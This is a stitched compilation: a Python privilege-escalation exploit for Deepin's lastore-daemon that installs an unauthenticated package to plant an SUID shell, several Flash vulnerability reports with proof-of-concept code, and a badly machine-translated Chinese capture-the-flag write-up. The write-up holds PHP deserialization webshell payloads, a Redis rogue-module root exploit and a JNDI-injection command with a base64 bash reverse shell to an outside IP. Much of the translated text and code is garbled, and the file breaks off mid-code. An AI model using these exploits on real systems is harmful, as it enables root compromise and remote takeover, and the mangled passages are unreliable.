'0x27', '0x43', '0xdc', '0xa4', '0x82', '0xf4', '0xa1', '0x3c', '0xc6', '0x4d', '0x0', '0x7', '0xe1', '0x46', '0xde', '0xd3', '0x5c', '0x31', '0xa1', '0xe9',
'0xf9', '0x71', '0xeb', '0x4c', '0x8f', '0x7d', '0xa3', '0x5', '0xdb', '0xe1', '0xd8', '0x27', '0xd', '0x26', '0x70', '0xe4', '0xc9', '0x5b', '0xc0', '0x45',
'0xea', '0xea', '0x6d', '0x58', '0x10', '0x51', '0x56', '0xbf', '0x2d', '0xd6', '0x2a', '0x8a', '0x23', '0xdc', '0x74', '0x41', '0xec', '0x1', '0x3c', '0xd4',
'0xa5', '0x9a', '0xfd', '0x1', '0x64', '0x8a', '0xee', '0x5d', '0x8c', '0xf0', '0xff', '0x88', '0x8a', '0x22', '0x57', '0xc8', '0x28', '0x42', '0x3d', '0x77',
'0xb', '0xad', '0xc8', '0x5f', '0x2f', '0xb7', '0x9b', '0x4', '0x80', '0xd2', '0xb0', '0x4e', '0x9e', '0xba', '0x5b', '0xe8', '0x9a', '0xd8', '0xb1', '0xdb',
'0x4', '0x98', '0x2f', '0x3c', '0x94', '0x32', '0xd6', '0xe3', '0x4f', '0x64', '0xa7', '0xed', '0x6c', '0x98', '0x8', '0xce', '0x1', '0xb7', '0x6f', '0xf0',
'0x41', '0xec', '0x90', '0x9d', '0xd2', '0xcc', '0xdb', '0x3d', '0x94', '0x23', '0xbd', '0x5c', '0x32', '0x8f', '0x41', '0xe9', '0x5e', '0xaf', '0x2a', '0xe3',
'0xd4', '0x8', '0x10', '0xc8', '0x96', '0x8f', '0xda', '0xef', '0xd2', '0x7a', '0x4d', '0x19', '0xa9', '0x99', '0x7e', '0x16', '0xc4', '0x71', '0xcf', '0x63',
'0xed', '0xc9', '0x7f', '0xe8', '0xb9', '0x99', '0xed', '0x75', '0xa2', '0xbc', '0xdb', '0x8', '0x6b', '0x15', '0x49', '0x44', '0x73', '0x3f', '0xdd', '0x59',
'0x39', '0xfd', '0x39', '0xbc', '0x9e', '0x79', '0xf3', '0x71', '0x74', '0xf5', '0xd8', '0x49', '0x8e', '0x7d', '0xf4', '0xba', '0x5b', '0x2d', '0x3c', '0xc6',
'0x68', '0x15', '0xa8', '0x6b', '0x2', '0x7c', '0x63', '0xab', '0x9e', '0xb9', '0x60', '0xdf', '0x3b', '0x46', '0x8', '0x48', '0x6', '0xb4', '0x55', '0x7d',
'0x55', '0xe4', '0xa6', '0xd2', '0x34', '0xb4', '0x33', '0xbf', '0xf9', '0xfc', '0xbc', '0x30', '0x62', '0xcd', '0xfd', '0x4d', '0x69', '0x19', '0xe8', '0xe2',
'0xd5', '0x58', '0x6c', '0x57', '0x8c', '0xb7', '0x8b', '0x45', '0xbe', '0xcd', '0xa9', '0x6b', '0x0', '0x7b', '0xba', '0xbb', '0x3', '0x18', '0xb9', '0xb5',
'0x80', '0xa7', '0xfb', '0xf4', '0x13', '0xeb', '0x34', '0xd8', '0x35', '0x60', '0xa7', '0x39', '0xc9', '0xf9', '0x78', '0xa2', '0x3a', '0xee', '0x97', '0xfc',
'0x49', '0xaa', '0x6a', '0xe1', '0x34', '0x2b', '0x45', '0x94', '0x39', '0x94', '0x90', '0x2d', '0x28', '0x31', '0xbc', '0xc', '0x62', '0x73', '0xef', '0xd5',
'0xb', '0x41', '0x1b', '0xaa', '0x40', '0xa', '0x79', '0x86', '0x20', '0x7f', '0xfe', '0xc5', '0x7f', '0x8b', '0xd0', '0x1b', '0x40', '0xe4', '0x26', '0x8c',
'0xb3', '0xce', '0x9e', '0x67', '0xd7', '0x3e', '0xcd', '0x83', '0xa4', '0xdb', '0xa0', '0x8c', '0x6e', '0xcb', '0x3e', '0xee', '0x13', '0xb2', '0x3f', '0x16',
'0x2', '0xd9', '0x9c', '0x23', '0x30', '0xac', '0x86', '0xee', '0x38', '0xde', '0x60', '0x75', '0x32', '0x4b', '0x5f', '0xe5', '0x3d', '0x8', '0xc9', '0x86',
'0xe5', '0x91', '0x40', '0x33', '0x54', '0xb8', '0x30', '0x5b', '0x7a', '0x96', '0xb7', '0x86', '0x6', '0x9f', '0xc0', '0x22', '0xe1', '0x11', '0xc5', '0xee',
'0xc', '0x3b', '0xa7', '0xe6', '0xff', '0xe', '0xcf', '0xce', '0xd5', '0xd8', '0x10', '0x36', '0x80', '0x12', '0xaf', '0x87', '0x5', '0x52', '0xda', '0x0',
'0xab', '0x87', '0xd0', '0xe5', '0xd1', '0xa7', '0xa', '0xf8', '0x6f', '0x32', '0x62', '0x43', '0x6e', '0x5f', '0xaf', '0x28', '0xb2', '0xbd', '0xe2', '0x4e',
'0xcf', '0xd7', '0xbc', '0xe7', '0x83', '0x5e', '0x81', '0x1f', '0x4c', '0xe9', '0x4f', '0xfe', '0x79', '0x2', '0xcd', '0xec', '0xc8', '0x5e', '0x45', '0xc9',
'0x87', '0x16', '0x8b', '0x8d', '0x79', '0x75', '0xad', '0x0', '0x0', '0x0', '0x5', '0x30', '0xb9', '0xc6', '0x10', '0x95', '0x49', '0xa4', '0x0', '0x1',
'0xcf', '0x8a', '0x3', '0x80', '0x90', '0x8', '0xc9', '0x66', '0xa7', '0x54', '0xb1', '0xc4', '0x67', '0xfb', '0x2', '0x0', '0x0', '0x0', '0x0', '0x4',
'0x59', '0x5a'
]
file_out = open(deb_file_path, "wb")
for i in deb_data:
file_out.write(chr(int(i, 16)))
file_out.close()
if __name__ == '__main__':
# First to prepare fake package and package list file
print "Trying to prepare files in /tmp..."
if not os.path.exists("/tmp/lists"):
os.mkdir("/tmp/lists")
if not os.path.exists("/tmp/archives"):
os.mkdir("/tmp/archives")
create_deb("/tmp/archives/deepinhack_0.0.1_amd64.deb")
lists = open("/tmp/lists/packages.deepin.com_deepin_dists_unstable_main_binary-amd64_Packages", "w")
lists.write("Package: deepinhack\n"
"Version: 0.0.1\n"
"Maintainer: King's Way <root#kings-way.info>\n"
"Architecture: amd64\n"
"Size: 51122\n"
"SHA256: 3c135fb86c3a018060b55e748ad7e12b484433f1743b704ffc14e1a32f46ad12\n"
"SHA1: d0c93664608c06433d3a95629258d5ed246d946a\n"
"MD5sum: 1c15a6e8346c44c6e8c23a4becca839e\n"
"Description: privilege escalation POC for deepin 15 with lastore-daemon. Created by King's Way @ 20160130\n"
"Description-md5: c8dc28d1e85139704ec222606f31c6f9\n"
"Section: utils\n"
"Priority: optional\n"
"Filename: pool/main/d/deepinhack_0.0.1_amd64.deb\n")
lists.close()
# Connect to SystemBus and Get the interface of lastore.Manager
print "Trying to connect to SystemBus and Get the interface of lastore.Manager..."
bus = dbus.SystemBus()
proxy_object = bus.get_object("com.deepin.lastore", "/com/deepin/lastore")
lastore_interface = dbus.Interface(proxy_object, "com.deepin.lastore.Manager")
# Submit a job to install deepinhack
print "Trying to submit a job to install deepinhack..."
reply = lastore_interface.InstallPackage("deepinhack_install", "-o Dir::State::Lists=/tmp/lists -o Dir::Cache::Archives=/tmp/archives -y --allow-unauthenticated deepinhack")
print "Reply from lastore.Manager: ", reply
print "Just wait and see..."
while not os.path.exists("/usr/bin/deepinhack"):
print "Have not found deepinhack in /usr/bin/... Sleep for 2 seconds..."
time.sleep(2)
print "\nFound it! Trying to run..."
os.system("/usr/bin/deepinhack")
choice = raw_input("\n\n /usr/bin/deepinhack is copied from dash and with SUID bit\n"
" Do you want to remove the deepinhack Package? [y/N] ")
if choice == 'y':
lastore_interface.RemovePackage("deepinhack_remove", "deepinhack")
print "\nMessage has been sent to lastore-daemon...\n" \
"Quitting now..."
bus.close()
quit(0)
Source: https://code.google.com/p/google-security-research/issues/detail?id=698
There is a dangling pointer that can be read, but not written to in loadPCMFromByteArray. A minimal PoC is as follows:
var s = new Sound();
var b = new ByteArray();
for( var i = 0; i < 1600; i++){
b.writeByte(1);
}
b.position = 0;
s.loadPCMFromByteArray(b, 100, "float", false, 2.0);
var c = new ByteArray();
for(var i = 0; i < 2; i++){
c.writeByte(1);
}
c.position = 0;
try{
s.loadPCMFromByteArray(c, 1, "float", false, 2.0);
}catch(e:Error){
trace(e.message);
}
var d = new ByteArray();
s.extract(d, 1, 0);
The PoC first loads PCM bytes correctly, setting an internal pointer to them. It then loads PCM bytes again, with a specific array length that passes the array length check, but then causes a exception to be thrown when reading the byte array. This causes the pointer to the original PCM array to be deleted, but then the function exits due to an exception before the pointer is set again. If the exception is caught, the sound object containing the dangling pointer can be used again. The sound.extract method reads directly out of the location the dangling pointer points to.
A full PoC and swf are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39462.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=701
There is a type confusion vulnerability in the TextField constructor in AS3. When a TextField is constructed, a generic backing object is created and reused when subsequent TextField objects are created. However, if an object with the same ID has already been created in the SWF, it can be of the wrong type. The constructor contains a check for this situation, though, and throws an exception and sets a flag to shut down the player if this occurs. The backing object is then set to be of type TextField to avoid any modifications that have been made on it by the constructor from causing problems if it is used as an object of its original type elsewhere in the player.
However, if the exception thrown by the constructor is caught, the exception handler can create another TextField object, and since the type of the generic backing object has been changed, an object of the wrong type is now backing the TextField, which makes it possible to set the pointers in the object to integer values selected by the attacker.
The PoC swf for this issue needs to be created by hand. The original swf code is:
try{
var t = new TextField();
} catch(e:Error){
var t2 = new TextField();
t2.gridFitType;
}
Then in the swf, a backing object of a different type with ID 0xfff9 is created, which causes the first constructor call to fail, and the second to cause type confusion.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39461.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=630
The attached file can cause an out-of-bounds read of an image. While the bits of the image are null, the width, height and other values can make it a valid pointer.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39460.zip
web
1.ESAY_EVAL
?PHPクラスA {public $ code=''; function __call($ method、$ args){eval($ this-code); } function __wakeup(){$ this-code=''; }} class b {function __destruct(){echo $ this-a-a(); }} if(isset($ _ request ['poc'])){preg_match_all( '/' [ba] ':(。*?):/s'、$ _ request ['poc']、$ ret); if(isset($ ret [1])){foreach($ ret [1] as $ i){if(intval($ i)!==1){exit( 'wake wakeup?no!'); }} unserialize($ _ request ['poc']); }} else {highlight_file(__ file__); }
簡単な分析は、__wakeup関数をバイパスすることができます。
機能に関するこの記事を読むpreg_match_all php preg_match_all()関数の紹介と使用法-feiniao muyuブログ(feiniaomy.com)
最後に、$ ret [1]の2つの変数を1に等しくする必要があります。なぜなら、intval($ i)!==1の制限があるため(これはバイパスする場合は問題ありません。なぜなら、PHPの変数名はケースに敏感であり、機能名、メソッド名、およびクラス名はケースに敏感ではないため)。ウェイクアップをバイパスするために1つを出すだけです。
ペイロードを構築します
?php
クラスA {
public $ code='';
パブリック関数__construct(){
$ this-code='eval(\ $ _ post [1]);';
}
}
クラスB {
パブリック関数__construct(){
$ this-a=new a();
}
}
Echo Serialize(new B());
$は、シリアル化が実行されるときに実行されることを恐れているため、その前に追加されます。
GET O:1:'B':1: {s:13360'a '; o:1:'a': 1: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、 Aを小文字に変更すると、次の番号を変更してバイパスできますO:1:'B':1: {s:13360'a '; o:1:'a': 2: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、アリの剣を接続してシェルを取得します
コード監査、直接脱力化は、テンテイジャンを構築します
小文字オブジェクトAバイパス
ペイロード
?poc=o:1:'b':1: {s33601:'a '; o:1:'a'3 33602: {s:4:'code '; s:16:'eval($ _ post [0]);';}}}} Ant Sword Connectionは、disable_functionがあることを発見しました。アリの剣によって持ち込まれたバイパスを試してみて、ウェブサイトのルートディレクトリにconfig.php.swp vi-rがあることがわかりました。 Redisパスワードはそうであることがわかりました
github上のredis rceを備えた悪意のあるSOファイルをTMPディレクトリにアップロードし、悪意のあるモジュールRCEをANT Sword Redisプラグインでロードする
Redisは悪意のある負荷を負うので、シェルを取得します
Ant Swordは構成を見つけて復元しました
それをダウンロードしてLinuxに投げてVIで復元します
VI -R config.php
このRedisパスワードは偽造すぎるように見えますが、それは本当です。 Ant SwordのRedisプラグインを使用して接続します
それから私はレディスを打った。 phpinfoにopen_basedirがあることがわかりました。まだ使用できるTMPがあるので、悪意を持ってアップロードしますので
https://github.com/dliv3/redis-rogue-server
アリの剣を直接使用します
Redisプラグインを使用してRedisを接続します
127.0.0.1:6379モジュールLoad /tmp/exppadding.so
わかりました
127.0.0.133606379 System.exec 'id'
'uid=0(root)gid=0(root)グループ=0(root)\ n
添付のローカル環境」:
ubuntu:16.04から
src/sources.list /etc/apt/sources.listcopy src/redis-4.0.9 /home/redis-4.0.9をコピーします
Apt-Getアップデート\ Apt-Getインストール-Y Curl \ Software-Properties-Common \ Python3-Software-Properties \ python-software-properties \ unzip \ vim
apt -get install -y apache2runサービスapache2再起動を実行します
locale -arunエクスポートLang=C.UTF-8 \ Add-Apt-Repository PPA:ONDREJ/PHP \ APT-GETアップデート
apt -getインストールを実行します-y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7。 0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip
apt install -y gcc \ makeを実行します
Cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9/usr/local/redis \ cd/usr/usr/redis \ make prefix=/usr/local/redisインストール\ export redis_home=/usr/local/redis \ export path=$ path33: $ redis_home/bin/bin/bin
src/tmp/srcrun mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf/var/www/html \ mv/tmp/src/html/var/www/html \ mv/htmp//start.sh \ chmod +x /start.sh
80を公開します
cmd ['/start.sh']
その中で、web.iniはphpの構成ファイルであり、disable_functionなどに設定できます。
2.Jackson
元のタイトルについては話しません
https://www.redmango.top/article/61#javaweb
まず、タイトルで与えられたpom.xmlを見てください
Shiro1.5.1、CC3.2.1タイトルはジャクソンです
その後、アクセスルートをバイパスし、ジャクソンを介してCCチェーンを脱上することはシロの検証である必要があります
ログインする必要があるJSONルートがあることがわかりました。
その後、ツールに直接移動します:https://github.com/welk1n/jndi-injection-exploit
Java -jar Jndi-injection-exploit-1.0-snapshot-all.jar -a '47 .100.27.114 '-C' Bash -C {echo、ymfzacatasa+jiavzgv2l3rjcc80ny4xmdaumjcumte0lzgwodggmd4mmq==} | {base64、-d} | {bash、-i} 'またはPOM.xmlでフレームワークバージョンをご覧ください。
ジャクソン脱介入+ JNDIインジェクション + LDAPリターンシリアル化データトリガーローカルガジェットバイパスJDK 8U_191リミット4
post/;/json http/1.1
HOST: 8.134.37.86:20947
user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336092.0)gecko/20100101 firefox/92.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、*/*; Q=0.8
Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2
Connection:閉じます
アップグレード-Insecure-Requests: 1
Cache-Control: Max-age=0
Content-Type:アプリケーション/JSON
Content-Length: 97
['ch.qos.logback.core.db.jndiconnectionSource'、{'jndilocation ':'ldap: //106.15.250.20.209:8091/a
紀元前'}]
NCがリバウンドしました、ルートディレクトリにフラグを取得するだけです
3.eztp
robots.txtを介してwww.zipソースコードを入手してください:
ディレクトリ構造:
明らかなTPフレームワークが表示され、取得されます:5.0.10
当初、私はTPフレームワークのRCEを試しましたが、それは実りがありませんでした。だからあきらめます
次に、コントローラーにインデックスと管理者があることを確認します。
管理者コントローラー:
インデックスコントローラー:
問題はないようです。
ただし、Admin Controllerのアップロードおよび列ディレクトリ操作にAdminにログインする必要があることがわかります。
したがって、それは注入する必要があり、バイドゥは検索しました
このバージョンのTPフレームワークインジェクション:https://www.cnblogs.com/wangtanzhi/p/12734685.html
ログイン管理アカウントを注入:
次に、管理者コントローラーのリストディールを確認すると、IS_DIR関数がPHARの脱必要異化をトリガーできることがわかります。
参照:https://www.anquanke.com/post/id/251318#h2-1
ただし、上記のPOCを使用することは、インターネット上のPOCから利用できないことがわかります。
私はローカル環境をデバッグしましたが、それを見つけました:
process.php閉じる方法:
元のTPフレームワークとは異なり、IFはフィルターに追加されます。なぜなら、元のHasManyクラスには緊密な方法がないため、$ ThisProcesspipes-Close()メソッドを呼び出すことは不可能であるため、次の脱3s化および書き込みファイルRCEは不可能であるため、インターネット上のPOCは無意味になります。
今やらなければならないことは、緊密な方法を持つクラスが必要であり、内部的にはメンバー変数の緊密な方法を呼び出す必要があります。
これにより、フィルタリングをバイパスすることができ、脱介入を継続できます。
ここで私はMemcacheクラスを見つけました、
元のチェーンを$ thishandler変数に接続するだけで、それを脱上化し続けることができます。
しかし、デバッグを通して:
このパスパスは、書いた後には見つかりません。そこで、私はそれを絶対的なパスに変更して、パブリックディレクトリに書きました
POC:の脱気面化
?phpnamespace think; shink \ session \ driver \ memcache; class process {private $ processpipes;
プライベート$ステータス;
プライベート$ ProcessInformation; public function __construct(){$ this-processinformation ['running']=true; $ this-status=3; $ thisprocesspipes=(new Memcache(1)); }
} namespace think; class model {
} namespace think \ model;
Think \ Model;クラスマージ拡張モデル{public $ a='1';を使用します。 public function __construct(){}} namespace think \ model \ relation; shinkを使用します